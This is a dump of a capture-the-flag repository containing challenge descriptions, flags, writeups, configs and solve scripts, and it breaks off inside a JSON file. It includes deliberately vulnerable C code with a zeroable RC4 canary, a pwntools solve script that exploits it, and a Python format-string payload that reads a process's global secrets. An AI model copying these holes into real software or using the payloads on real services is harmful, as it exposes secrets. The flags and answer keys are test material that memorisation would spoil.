Yo_Yo_Bro Do the loop doop doop... **Flag Format:** STRING you end up with after solving challenge,case insensitive. **Attached files:** - ./publish/monorail.wav (sha256: D04502AEC1643C6F79FCB01491A0A3FBC4090965E833FFB54D2DF95DFA7FB68D) ================================================ FILE: forensics/do_the_loop/challenge/flag.txt ================================================ ICOULDLISTENTOTHISONLOOPALLDAY I COULD LISTEN TO THIS ON LOOP ALL DAY ================================================ FILE: forensics/do_the_loop/challenge.yml ================================================ version: "0.1" id: monorail name: Do the loop! category: forensics description: | "Do the loop doop doop..." Flag format: The STRING you end up with after solving challenge, case insensitive. Author: QUTWH flags: - { type: "static", content: "ICOULDLISTENTOTHISONLOOPALLDAY", data: "case_insensitive", } - { type: "static", content: "I COULD LISTEN TO THIS ON LOOP ALL DAY", data: "case_insensitive", } tags: - easy files: - ./challenge/monorail.wav ================================================ FILE: forensics/do_the_loop/writeup.md ================================================ # Do the loop! We are provided with monorail.wav, an catchy tune that sounds like it has Morse Code overlaid on it I personally use Audacity when doing any form of Morse Code related challenge as it allows me to clearly visual any spaces between words. Technical Details: 1000hz 25wpm We end up with the following Morse Code: .. -.-. --- ..- .-.. -.. .-.. .. ... - . -. - --- - .... .. ... --- -. .-.. --- --- .--. .- .-.. .-.. -.. .- -.-- Upon converting that to English we end up with the FLAG: ICOULDLISTENTOTHISONLOOPALLDAY ================================================ FILE: forensics/how-to-pronounce-gif/README.md ================================================ # How to pronounce GIF? **Category:** misc **Difficulty:** Easy **Author:** xXl33t_h@x0rXx Our machine that makes QR Codes started playing up then it just said "PC LOAD LETTER" and died. This is all we could recover... **Attached files:** - ./challenge/challenge.gif (sha256: 26e6aab55895e7ead1ffbdaa3555a16edd792aff688f4b2dbe2852913b346177) ================================================ FILE: forensics/how-to-pronounce-gif/WRITEUP.md ================================================ # How to pronounce GIF? The gif is moving fast, while you could try to record the screen or load the gif into an graphics application to see all of the frames, the quickest method would be to use online tools to extract all of the frames from the gif. An example that worked well is: [https://ezgif.com/split](https://ezgif.com/split) Extracting all of these frames (so long as you did them in order) you will notice that there are 10 sets of QR Codes, either due to the 10 "starts" or QR codes or that each is a different style and/or colour. One you've identified the 10 different QR Codes you can script the joining of image 0, 10, 20, 30, ... , 110 makes up a single QR Code, then continue for the next 9 QR Codes. Of course, you could also manually stitch these together by hand if your scripting would be slower...though the learning experience from scripting this is really the goal! The QR Codes in order: 1. bit.ly link to Youtube how to pronounce Gif 2. Text saying the princess is in another castle 3. bit.ly link to Youtube with Jimmy Barnes screaming for 10 hours 4. leetspeak saying "follow the white rabbit" 5. bit.ly to Youtube rickroll 6. ascii art of a rabbit (hopefully hint that it's next...) 7. first half of base64 flag (RFVDVEZ7YU1) 8. bit.ly link to youtube All Your Base (base64 hint) 9. second half of base64 flag (fMV9oYVhYMHJfbjB3P30=) 10. ascii art of a shocked rabbit The flag "RFVDVEZ7YU1fMV9oYVhYMHJfbjB3P30=" should be quickly identified as base64 due to the characters used (uppercase, lowercase, 0-9, =\) or the fact that it ends with an equals sign (base64 can end with 0, 1 or 2 equal signs, used as a kind of padding to make sure decoding works). Decoding this (a number of ways you can do this, though a great online site is [https://www.base64decode.org/](https://www.base64decode.org/)) will give you the flag. Hope you enjoyed it! --- ## Flag DUCTF{aM_1_haXX0r_n0w?} ================================================ FILE: forensics/how-to-pronounce-gif/challenge.yml ================================================ version: "0.1" id: how-to-pronounce-gif name: How to pronounce GIF category: forensics description: | Our machine that makes QR Codes started playing up then it just said "PC LOAD LETTER" and died. This is all we could recover... Author: xXl33t_h@x0rXx tags: - easy files: - ./challenge/challenge.gif flags: - DUCTF{aM_1_haXX0r_n0w?} ================================================ FILE: forensics/retro/README.md ================================================ # Retro **Category:** misc **Difficulty:** easy **Author:** Yo_Yo_Bro Our original logo was created in paint, I wonder what other secrets it hides? **Flag Format:** STRING you end up with after solving challenge **Attached files:** - ./publish/og.jpg (sha256: 31D73C1F418D150E9FD75A8D2D84EF35C622F5E8F4EF7E76A766922420FD0D36) ================================================ FILE: forensics/retro/challenge/flag.txt ================================================ DUCTF{sicc_paint_skillz!} ================================================ FILE: forensics/retro/challenge.yml ================================================ version: "0.1" id: hipster name: Retro! category: forensics description: | "Our original logo was created in paint, I wonder what other secrets it hides?" Author: QUTWH flags: - DUCTF{sicc_paint_skillz!} tags: - beginner files: - ./challenge/og.jpg ================================================ FILE: forensics/retro/writeup.md ================================================ # Retro We are provided with og.jpg, and the suggestion it hides a secret.. First thing i checked was the photos exif data and found the flag under the : Authors field Authors: DUCTF{sicc_paint_skillz!} so the flag was: DUCTF{sicc_paint_skillz!} ================================================ FILE: misc/builder/README.md ================================================ # Builder **Category:** misc **Difficulty:** beginner **Author:** BearArms (Cybears) In order to build your skills you need to start from a solid foundation. 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1 98138.dat 1 27 270 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 290 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 0 FILE brace.ldr 0 Name: brace.ldr 1 0 16.078 -14 154.825 0 -0.906 -0.423 1 0 0 0 -0.423 0.906 40379.dat 1 0 13.09 -14 29.511 0 0.951 0.309 -1 0 0 0 -0.309 0.951 40378.dat 1 0 10 -24 20 -0.951 0 -0.309 0 1 0 0.309 0 -0.951 6541.dat 1 2 0 0 0 0 0 -1 0 1 0 1 0 0 3021.dat 1 0 10 -24 -20 0.951 0 -0.309 0 1 0 0.309 0 0.951 6541.dat 1 0 13.09 -14 -29.511 0 0.951 0.309 1 0 0 0 0.309 -0.951 40378.dat 1 0 16.078 -14 -154.825 0 -0.906 -0.423 -1 0 0 0 0.423 -0.906 40379.dat 1 0 10 -32 0 0 0 -1 0 1 0 1 0 0 3623.dat ================================================ FILE: misc/builder/challenge.yml ================================================ version: "0.1" id: builder name: Builder category: misc description: | In order to build your skills you need to start from a solid foundation. And the best foundations are built from bricks. Author: BearArms (Cybears) tags: - beginner files: - ./challenge/builder.mpd flags: - DUCTF{CaD4L3G0!} ================================================ FILE: misc/builder/solve/writeup.md ================================================ # Walkthrough - Builder You're presented with `builder.mpd`. Whatever `.mpd` is. Inspecting the file you can see that it's readable text: ``` $ head builder.mpd 0 FILE challenge.ldr 0 Name: challenge.ldr 1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr 1 2 -320 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 0 -620 -12 0 1 0 0 0 1 0 0 0 1 brace.ldr 1 0 -552 -38 0 0 1 0 0 0 1 1 0 0 6184.dat 1 2 -500 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat 1 4 -536 -38 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 0 -300 -24 -40 0 0 1 0 1 0 -1 0 0 48092.dat 1 0 -260 -24 30 1 0 0 0 1 0 0 0 1 3009.dat ``` It's clearly something that's designed for a computer to read. Searching for `mpd ldr dat` should lead you to [ldraw.org](https://www.ldraw.org), where you can read about the LDraw file format and system of tools - it's a whole ecosystem of applications, utilities and an extensive parts library so that you can build digital LEGO models on your computer. Ok, so now you know what it is, you probably want to see what LEGO model you've been given. So follow the "Getting Started" section of the website through to your OS of choice, to download the parts library and an editor. When you open the file, you're presented with ![builder.png](./builder.png), which looks _almost_ like a flag. There's the DUCTF logo, and a couple of letters and numbers surrounded by braces, but it's clearly incomplete. Looking around the model, you see something interesting hidden underneath the baseplates. ![clue.png](./clue.png) So, everywhere you see one of the red 1x2 plates, you need to add that big curved brick. And you can see that the first one - the one that makes up the letter C - has been done for you. So you go ahead and insert those bricks and you get something that looks much more sensible - except for that mess at the third character from the end. All it takes is a change of perspective, and it all falls into place. ![solved.png](./solved.png) The flag is `DUCTF{CaD4L3G0!}` ================================================ FILE: misc/canary/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/bin-builder:ubuntu-18.04 AS build COPY ./publish/canary.c /build/ RUN gcc -o /build/pwn /build/canary.c FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY --from=build /build/pwn /home/ctf/chal/pwn COPY nsjail.cfg /home/ctf/ COPY flag.txt /home/ctf/chal/ EXPOSE 1337/tcp ================================================ FILE: misc/canary/README.md ================================================ # Canary **Author:** 247CTF.com **Category:** misc **Difficulty:** Moderate _Can you sneak the secret CTF code past the canary hidden in the challenge mine?_ ## Description The challenge requires you to set a specific string in a buffer. If the string is set in the correct location, you receive the flag. However, a canary value is also set _before_ the string and if the canary value is not valid, you won’t receive the flag. In order to write the string at the specific location, you first need to overwrite the canary - which means you need to know the canary's value in order to solve the challenge. The canary is calculated on each request based on the RC4 algorithm (initialised with a random, unpredictable key). To generate the canary - for each request, RC4 is called on 2 buffers of zero'd memory. The RC4 algorithm has a bug - the swap function uses xor swap, however there is no check to verify whether the input pointers are equal. If they are equal, the output will not result in a swap - but in the values being zero'd out. After _enough_ calls to RC4 with this bug, the first 16 bytes of the RC4 sbox will become zero - which means the canary will also be zero and is therefore predictable (`x ^ x == 0` for any `x`). ## Writeup A solve script can be found in ./solve 1. Send _enough_ requests to the service to zero out the RC4 sbox 2. _Predict_ the canary (`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`) 3. Send the canary and the 247DUCTF string _after_ the canary ## Setup **Files to be provided:** * `canary` * `canary.c` The following file(s) in the `publish/` directory must be executable: * `canary` ================================================ FILE: misc/canary/canary_socket.c ================================================ #include #include #include #include #include #include #include #define KEY_LENGTH 16 #define USER_BUFFER 56 #define N 256 static unsigned char *canary; void flag(int sock){ char buf[1024]; FILE *f = fopen("flag.txt", "r"); fgets(buf, 1024, f); write(sock, buf, strlen(buf)); } void swap(unsigned char *a, unsigned char *b) { *a ^= *b; *b ^= *a; *a ^= *b; } void init_RC4_key(unsigned char *S, unsigned char *key){ int i = 0, j = 0; for (i = 0; i < N; i++) { S[i] = i; } for (i = 0; i < N; i++){ j = (j + S[i] + *(key + i % KEY_LENGTH)) % N; swap(&S[i], &S[j]); } } void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){ int i = 0, j = 0, k = 0, n = 0; for (k = 0; k < KEY_LENGTH; k++){ i = (i + 1) % N; j = (j + S[i]) % N; swap(&S[i], &S[j]); n = S[(S[i] + S[j]) % N]; *(ciphertext + k) = *(plaintext + k) ^ n; } } unsigned char* get_random(){ FILE *fptr = fopen("/dev/urandom","r"); unsigned char *random = malloc(KEY_LENGTH); fread(random, sizeof(char), KEY_LENGTH, fptr); fclose(fptr); return random; } void update_canary(unsigned char *S, unsigned char* buffer){ unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char)); RC4_encrypt(S, plaintext, ciphertext); memcpy(canary, ciphertext, KEY_LENGTH); memcpy(&buffer[32], ciphertext, KEY_LENGTH); free(plaintext); free(ciphertext); plaintext = NULL; ciphertext = NULL; } int check_canary(unsigned char* buffer){ for (int i = 0; i < KEY_LENGTH; i++){ if (buffer[32 + i] != canary[i]){ return 0; } } return 1; } int check_flag(unsigned char* buffer){ return buffer[48] == '2' && buffer[49] == '4' && buffer[50] == '7' && buffer[51] == 'D' && buffer[52] == 'U' && buffer[53] == 'C' && buffer[54] == 'T' && buffer[55] == 'F'; } void user_read(int sock, unsigned char *S, unsigned char* buffer){ memset(buffer, 0, USER_BUFFER); update_canary(S, buffer); recv(sock, buffer, USER_BUFFER, 0); } void challenge_mine(int sock) { canary = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *key = get_random(); unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char)); unsigned char S[N]; init_RC4_key(S, key); char banner[] = "Can you defeat the canary and pull the flag from the mine?\n> "; char canary1[] = " ___ ___ ___\n"; char canary2[] = " (o o) (o o) (o o)\n"; char canary3[] = " ( V ) ( V ) ( V )\n"; char canary4[] = "/--m-m- /--m-m- /--m-m-\n"; char canary5[] = "[chirp] No flag for you!\n> "; write(sock, banner, strlen(banner)); while (1) { user_read(sock, S, buffer); if (check_canary(buffer) && check_flag(buffer)){ flag(sock); exit(0); } else { write(sock, canary1, strlen(canary1)); write(sock, canary2, strlen(canary2)); write(sock, canary3, strlen(canary3)); write(sock, canary4, strlen(canary4)); write(sock, canary5, strlen(canary5)); } } free(buffer); free(key); free(canary); } int main(int argc, char *argv[]){ int sockfd, newsockfd, portno, pid; socklen_t clilen; struct sockaddr_in serv_addr, cli_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero((char *)&serv_addr, sizeof(serv_addr)); portno = 1337; serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 100); clilen = sizeof(cli_addr); while (1){ newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen); pid = fork(); if (pid == 0) { close(sockfd); challenge_mine(newsockfd); close(newsockfd); exit(0); } else { close(newsockfd); } } } ================================================ FILE: misc/canary/challenge.yml ================================================ version: "0.1" id: canary name: Canary category: misc description: > Can you sneak the secret CTF code past the canary hidden in the challenge mine? Author: 247CTF.com connection_info: nc ${host} ${port} tags: - medium files: - ./publish/canary - ./publish/canary.c flags: - DUCTF{chirp_charp_chorp_churp} ================================================ FILE: misc/canary/flag.txt ================================================ DUCTF{chirp_charp_chorp_churp} ================================================ FILE: misc/canary/nsjail.cfg ================================================ name: "challenge" description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: 10 port: 1337 # limits mount_proc: false time_limit: 60 cgroup_mem_max: 16777216 cgroup_pids_max: 4 cgroup_cpu_ms_per_sec: 25 mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/dev/urandom", dst: "/dev/urandom", is_bind: true, rw: false } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: misc/canary/publish/canary.c ================================================ #include #include #include #include #define KEY_LENGTH 16 #define USER_BUFFER 56 #define N 256 static unsigned char *canary; void flag(){ char buf[1024]; FILE *f = fopen("flag.txt", "r"); fgets(buf, 1024, f); printf("%s\n", buf); } void swap(unsigned char *a, unsigned char *b) { *a ^= *b; *b ^= *a; *a ^= *b; } void init_RC4_key(unsigned char *S, unsigned char *key){ int i = 0, j = 0; for (i = 0; i < N; i++) { S[i] = i; } for (i = 0; i < N; i++){ j = (j + S[i] + *(key + i % KEY_LENGTH)) % N; swap(&S[i], &S[j]); } } void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){ int i = 0, j = 0, k = 0, n = 0; for (k = 0; k < KEY_LENGTH; k++){ i = (i + 1) % N; j = (j + S[i]) % N; swap(&S[i], &S[j]); n = S[(S[i] + S[j]) % N]; *(ciphertext + k) = *(plaintext + k) ^ n; } } unsigned char* get_random(){ FILE *fptr = fopen("/dev/urandom", "r"); unsigned char *random = malloc(KEY_LENGTH); fread(random, sizeof(char), KEY_LENGTH, fptr); fclose(fptr); return random; } void update_canary(unsigned char *S, unsigned char* buffer){ unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char)); RC4_encrypt(S, plaintext, ciphertext); memcpy(canary, ciphertext, KEY_LENGTH); memcpy(&buffer[32], ciphertext, KEY_LENGTH); free(plaintext); free(ciphertext); plaintext = NULL; ciphertext = NULL; } int check_canary(unsigned char* buffer){ for (int i = 0; i < KEY_LENGTH; i++){ if (buffer[32 + i] != canary[i]){ return 0; } } return 1; } int check_flag(unsigned char* buffer){ return buffer[48] == '2' && buffer[49] == '4' && buffer[50] == '7' && buffer[51] == 'D' && buffer[52] == 'U' && buffer[53] == 'C' && buffer[54] == 'T' && buffer[55] == 'F'; } void user_read(unsigned char *S, unsigned char* buffer){ memset(buffer, 0, USER_BUFFER); update_canary(S, buffer); read(0, buffer, USER_BUFFER); } int main(int argc, char *argv[]) { setbuf(stdout, 0); canary = calloc(KEY_LENGTH, sizeof(unsigned char)); unsigned char *key = get_random(); unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char)); unsigned char S[N]; init_RC4_key(S, key); char banner[] = "Can you defeat the challenge canary and pull the flag from the mine?\n> "; char canary1[] = " ___ ___ ___\n"; char canary2[] = " (o o) (o o) (o o)\n"; char canary3[] = " ( V ) ( V ) ( V )\n"; char canary4[] = "/--m-m- /--m-m- /--m-m-\n"; char canary5[] = "[chirp] No flag for you!\n> "; printf("%s", banner); while (1) { user_read(S, buffer); if (check_canary(buffer) && check_flag(buffer)){ flag(); exit(0); } else { printf("%s", canary1); printf("%s", canary2); printf("%s", canary3); printf("%s", canary4); printf("%s", canary5); } } free(buffer); free(key); free(canary); } ================================================ FILE: misc/canary/solve/canary_solve.py ================================================ #!/usr/bin/python3 from pwn import * import os from time import sleep #r = process("./canary") r = remote(os.environ.get("HOST", "127.0.0.1"), 1337) r.recvuntil("mine?") for i in range(1250): r.sendline("A") print(r.recvuntil("you!").decode('ascii', 'ignore')) r.send(b"\x00"*48 + b"247DUCTF") r.clean_and_log() ================================================ FILE: misc/discord/README.md ================================================ # Discord **Category:** misc **Difficulty:** Beginner **Author:** Crem How about you visit our help page? You know what they say when you need 'help' discord is there for support :) ================================================ FILE: misc/discord/WRITEUP.md ================================================ # Discord Just a small challenge to teach our competitors how to use our new ticketing/support system on discord :) Simply follow our [https://play.duc.tf/help](https://play.duc.tf/help) guide which will lead to the DUCTF 2021 `#request-support` channel description :) Flag: DUCTF{if_you_are_having_challenges_issues_come_here_pls} ================================================ FILE: misc/discord/challenge.yml ================================================ version: "0.1" id: discord name: Discord category: misc description: | How about you visit our help page? You know what they say when you need 'help' discord is there for support :) Author: Crem tags: - socials flags: - DUCTF{if_you_are_having_challenge_issues_come_here_pls} ================================================ FILE: misc/floormat/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf COPY ./src/flag.txt chal/ COPY ./src/floormat.py chal/pwn RUN chmod +x /home/ctf/chal/pwn ================================================ FILE: misc/floormat/README.md ================================================ # Floormat **Category:** Misc **Difficulty:** Easy **Author:** todo#7331 _I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags..._ # Description Python is vulnerable to format strings ({format_identifier}'s in strings). If these are provided with a class (or other "class like" object) it is possible to gain a read primitive in much the same was as template injection. Here we use it to read the `FLAG` variable in the global scope. ## Writeup _A solve script can be found in ./solve_ 1. Trigger a custom floormat design by specifying something other than the provided options 2. Provide a format string that reads a flag from the global scope `{f.__class__.__init__.__globals__[FLAG]}` 3. Trigger the format string by specifying a arbitrary (expected) input 4. Get the flag ## Running Please provide the file under publish/ to the player. The challenge can be run by building and running the docker file, it listens on port 1337 by default. ================================================ FILE: misc/floormat/challenge.yml ================================================ version: "0.1" id: floormat name: Floormat category: misc description: > I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags... Author: todo#7331 connection_info: nc ${host} ${port} tags: - easy files: - ./publish/floormat.py flags: - DUCTF{fenomenal_flags_from_funky_formats_ffffff} ================================================ FILE: misc/floormat/publish/floormat.py ================================================ import abc import string import random FLAG = 'REDACTED' class Design(abc.ABC): def __init__(self, design=[]): self._design = design self._i = -1 def items(self): return "".join(self._design) def get_next(self): self._i = (self._i + 1) % len(self._design) return self._design[self._i] def __str__(self): return self.get_next() class Rotate(Design): def __init__(self): super().__init__(design=["-", "/", "|", "\\"]) class Circles(Design): def __init__(self): super().__init__(design=[".", "o", "0", "O", "0", "o"]) class Random(Design): def __init__(self): super().__init__(design=string.ascii_lowercase) def get_next(self): return random.choice(self._design) designs = { 'Flutter': Rotate(), 'Fragment': Circles(), 'Festival': Random() } templates = { 'Fundamental': '\n'.join([ "+" + "-"*20 + "+", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "+" + "-"*20 + "+" ]), 'Flabbergasting': '\n'.join([ "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+" ]) } def banner(): print("Welcome to the Fabulous Floormat Factory (FFF)!") print("In our fabled facility we fabricate fantasticly fashionable floormats for free!") print("Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.") print('') def get_happy_f(): return random.choice(["Fun", "Foxy", "Fetching"]) def get_sad_f(): return random.choice(["Fail", "Foolish", "Foul"]) def custom_template(): print('Fascinating! Forgoing the featured furniture and finding the flexible function.') print('Fill in your floormat format. {f} flags fancy fabric, F finalizes') print('For example, Fundamental:') print(templates['Fundamental']) print('F') print('') print('Format:') buffer = "" while (l := input()) != 'F': buffer += l return buffer def get_template(): print("FFF features a few foundational floormat forms:") for nm, floormat in templates.items(): print('[{}]:'.format(nm)) print(floormat.format(f=' ')) print('') selection = input("Fill in your favorite: ") try: template = templates[selection.title()] except KeyError: print('') template = custom_template() print(get_happy_f() + "!") print('') return template def get_pattern(): print('Finally, find the fairest felt furnishings!') for nm, pattern in designs.items(): print('[{}]:'.format(nm)) print(pattern.items()) print('') while True: selection = input('Favorite: ') try: return designs[selection.title()] except KeyError: print(get_sad_f() + '!') pass if __name__ == '__main__': import sys sys.tracebacklimit = 0 sys.excepthook = lambda t,e,b: print('\n\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!')) banner() template = get_template() pattern = get_pattern() print('') print('Formulating...') floormat = template.format(f=pattern) print('Finished! Felicitations on your Floormat!') print('') print(floormat) print('') ================================================ FILE: misc/floormat/solve/solve.py ================================================ #!/usr/bin/python3 import socket import os def recv_until(sock, until): buf = b"" c = sock.recv(1) while c: buf += c if buf.endswith(until): break c = sock.recv(1) return buf remote = (os.environ.get("HOST", "127.0.0.1"), 1337) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect(remote) print(recv_until(sock, b"favorite: ").decode()) sock.send(b'x\n') print(recv_until(sock, b"Format:\n").decode()) sock.send(b'{f.__class__.__init__.__globals__[FLAG]}\nF\n') print(recv_until(sock, b"Favorite: ").decode()) sock.send(b'Flutter\n') print(sock.recv(1024).decode()) ================================================ FILE: misc/floormat/src/flag.txt ================================================ DUCTF{fenomenal_flags_from_funky_formats_ffffff} ================================================ FILE: misc/floormat/src/floormat.py ================================================ #!/usr/bin/python3.8 import os import abc import string import random with open("flag.txt") as f: FLAG = f.read() class Design(abc.ABC): def __init__(self, design=[]): self._design = design self._i = -1 def items(self): return "".join(self._design) def get_next(self): self._i = (self._i + 1) % len(self._design) return self._design[self._i] def __str__(self): return self.get_next() class Rotate(Design): def __init__(self): super().__init__(design=["-", "/", "|", "\\"]) class Circles(Design): def __init__(self): super().__init__(design=[".", "o", "0", "O", "0", "o"]) class Random(Design): def __init__(self): super().__init__(design=string.ascii_lowercase) def get_next(self): return random.choice(self._design) designs = { 'Flutter': Rotate(), 'Fragment': Circles(), 'Festival': Random() } templates = { 'Fundamental': '\n'.join([ "+" + "-"*20 + "+", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "|" + "{f}"*20 + "|", "+" + "-"*20 + "+" ]), 'Flabbergasting': '\n'.join([ "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|"+"{f}"*5+"|", "+-----+-----+-----+-----+" ]) } def banner(): print("Welcome to the Fabulous Floormat Factory (FFF)!") print("In our fabled facility we fabricate fantasticly fashionable floormats for free!") print("Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.") print('') def get_happy_f(): return random.choice(["Fun", "Foxy", "Fetching"]) def get_sad_f(): return random.choice(["Fail", "Foolish", "Foul"]) def custom_template(): print('Fascinating! Forgoing the featured furniture and finding the flexible function.') print('Fill in your floormat format. {f} flags fancy fabric, F finalizes') print('For example, Fundamental:') print(templates['Fundamental']) print('F') print('') print('Format:') buffer = "" while (l := input()) != 'F': buffer += l return buffer def get_template(): print("FFF features a few foundational floormat forms:") for nm, floormat in templates.items(): print('[{}]:'.format(nm)) print(floormat.format(f=' ')) print('') selection = input("Fill in your favorite: ") try: template = templates[selection.title()] except KeyError: print('') template = custom_template() print(get_happy_f() + "!") print('') return template def get_pattern(): print('Finally, find the fairest felt furnishings!') for nm, pattern in designs.items(): print('[{}]:'.format(nm)) print(pattern.items()) print('') while True: selection = input('Favorite: ') try: return designs[selection.title()] except KeyError: print(get_sad_f() + '!') pass if __name__ == '__main__': import sys sys.tracebacklimit = 0 sys.excepthook = lambda t,e,b: print('\n\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!')) banner() template = get_template() pattern = get_pattern() print('') print('Formulating...') floormat = template.format(f=pattern) print('Finished! Felicitations on your Floormat!') print('') print(floormat) print('') ================================================ FILE: misc/flying-spaghetti-monster/.dockerignore ================================================ solve/ ================================================ FILE: misc/flying-spaghetti-monster/.gcloudignore ================================================ solve/ ================================================ FILE: misc/flying-spaghetti-monster/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/requirements.txt /home/ctf/chal/ RUN pip install -r /home/ctf/chal/requirements.txt COPY ./challenge/fsm.py /home/ctf/chal/ COPY ./challenge/fsm.txt /home/ctf/chal/ COPY ./challenge/canned.json /home/ctf/chal/ COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/server.py /home/ctf/chal/ COPY ./challenge/pow.py /home/ctf/chal/ COPY ./challenge/entry.sh /home/ctf/chal/pwn ENV TIME_LIMIT 300 ENV CPU_SHARES_MS=300 ================================================ FILE: misc/flying-spaghetti-monster/README.md ================================================ # Flying Spaghetti Monster **Category:** misc **Difficulty:** hard **Author:** hypersphere (Cybears) A glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived. **Attached files:** - ./challenge/fsm.txt (sha256: ff1672263df20678d27725cca0735f22fc47e01376522a772b96ebe9a58a2a0a) ================================================ FILE: misc/flying-spaghetti-monster/challenge/canned-inputs.txt ================================================ # We do a few simple challenges without timeouts first # This first one is the challenge "42", not a timeout of 42 42 # Walks a pair of edges back and forth lol # And then repeats the path lolol # This one hits a node self-loop to ensure they understand that deadbeef # These should ensure they can determine edge order cafec0de c0decafe # Now we'll do some longer ones and add timeouts to ensure they can go fast having fun yet?;120 correct horse battery staple;60 # It should be necessary to be smart from now on, stupid solvers will hit a # wall as we go faster and faster gotta go faster, faster, faster, faster, faster;30 # This is a rick roll lol https://www.youtube.com/watch?v=0SoNH07Slj0;15 # Popular culture <:) somebody once told me the world is gonna roll me i ain't the sharpest tool in the shed;5 # Next lines reversed daeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs;3 # Literature - this one is deliberately tight, with the goal being to force the # player to realise that they don't need to waste time factoring at all. We # only force them to match decent Python performance though so there are a # bunch of ways they can still meet this criteria while still factoring `a`. According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.;2 ================================================ FILE: misc/flying-spaghetti-monster/challenge/canned.json ================================================ [{"data": "42", "f_expr": "1042029647*x + 41704533", "final_state": 28}, {"data": "lol", "f_expr": "14401024110667*x + 4650182658453", "final_state": 97}, {"data": "lolol", "f_expr": "18241665532237862456081*x + 5890350301995688914479", "final_state": 97}, {"data": "deadbeef", "f_expr": "2746916201054036664294016387074070051*x + 241142791363925067693851688018997478", "final_state": 73}, {"data": "cafec0de", "f_expr": "9590746787461567014155271770806774103*x + 1526575838236987809158728386773769844", "final_state": 12}, {"data": "c0decafe", "f_expr": "9590746787461567014155271770806774103*x + 1526571070411941899002178414921623924", "final_state": 12}, {"data": "having fun yet?", "f_expr": "28434662410838915516131616032379482312309841568914466091635141606659*x + 2387428378618267892626109337760067581090803172680685687062400910524", "final_state": 15, "timeout": 120}, {"data": "correct horse battery staple", "f_expr": "36129737063038760136169463393868734625342819744656989643480320898211984793309885569387522104361125246674950241987900558243903729*x + 5751252875178506646790525306611733739896848388345903359929011438615561791554303409140037988456554731100624961794794554680066372", "final_state": 12, "timeout": 60}, {"data": "gotta go faster, faster, faster, faster, faster", "f_expr": 